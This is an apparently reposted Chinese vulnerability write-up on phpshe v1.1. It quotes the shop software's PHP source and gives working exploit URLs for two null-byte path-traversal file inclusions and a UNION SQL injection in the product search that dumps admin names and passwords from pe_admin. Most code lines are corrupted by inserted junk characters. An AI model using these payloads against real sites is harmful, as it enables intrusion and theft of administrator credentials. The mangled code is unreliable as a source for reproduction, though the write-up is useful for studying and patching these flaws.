phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
8 Q$ D0 h' Q. g$ |/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
; u. X) [6 H. d8 _5 v4 r
7 ^& {) H; e) g8 L  M* E( C

7 M8 V  L( A) k& C9 D1 U5 s//common.php
' |/ a# b5 B6 e2 Q! jif (get_magic_quotes_gpc()) {
# D7 |# ?+ J. Y!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
; `4 A6 }  g3 |# e!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
4 t* L" b( y3 Y+ G# L$ [  y1 Q!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
' o- z6 ~2 }9 Q  M5 J2 s}
session_start();
; |( ^: z9 [) T!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
8 b9 i( N# a! D. F9 }!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞

3 \" i( b6 e7 t. n7 u4 x# b
//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
( I3 _3 l" |3 p' t4 Ainclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
# i: Y- h( R5 V0 {# o& v4 Gpe_result();
?>
  w* T5 E2 w) R9 V//common 文件 第15行开始
) ]  M6 p$ S( T4 k& Kurl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
5 O+ ?8 x; A8 U2 C# J3 K  `$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
0 K, x9 A4 G# \8 f  @//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
2 F/ `# d4 F- S2 I: T8 U/ t

+ T" U/ d: q3 s# E* s; O0 [9 W( i 0×02 搜索注入

& u- Y9 s! ]! j<code id="code2">

//product.php文件
case 'list':
; w8 h# c" a+ J2 ^3 {6 o$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
( G% h) E. y) p" Y8 b( D  Q//搜索
$sqlwhere = " and `product_state` = 1";
& x! v: W5 M: m4 ]* v/ H3 w, ^+ j* bpe_lead('hook/category.hook.php');
- O/ U1 D/ x: k/ ^$ z7 S* Mif ($category_id) {
* o4 w+ I% Z0 h3 ~+ j9 M0 S1 W: u4 A6 `where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
9 q6 @, z; p1 M9 e% s$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
1 o" t: J  Y9 g- T1 g$ O. J$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
6 S# B; L0 M. z3 ]4 k$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
) z2 V  l# X7 X  k8 ~! C$ u$product_hotlist = product_hotlist();
. M- D" B. K& S, F# O# H//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
/ T5 U4 m- }4 X) L3 jpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
  w/ T  U2 Z: x+ D//处理条件语句
8 D* g! ^" }) |" r$sqlwhere = $this->_dowhere($where);
( J3 N4 h" w' {* h. ]3 Areturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
7 Y! j" l2 H: Xproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2
! O$ y; l' Q. Y: [( w, `6 ]
<code id="code3">

//order.php

case 'pay':

1 d. y" |* P% y$order_id = pe_dbhold($_g_id);

; Z! D3 u  b  p$cache_payway = cache::get('payway');

7 z4 D! I& E2 Wforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

- }0 L2 I2 `2 d. ~$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

7 I) c# j; @4 W: r) V' I}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

- h. B2 C" l7 v, ~& R8 i6 K$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

, y: S/ @% p. z& c7 Oforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

9 f0 w* A: B: q3 @! {}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

1 i: Z7 ]) |  R4 J/ V0 v2 _+ P( G- Q}//当一切准备好的时候就可以进行"鸡肋包含了"

% I6 {* ]; K) [0 {8 m6 s+ ~else {

" c3 E% d9 b/ wpe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

! u# ^) ]6 O+ x, g0 lbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg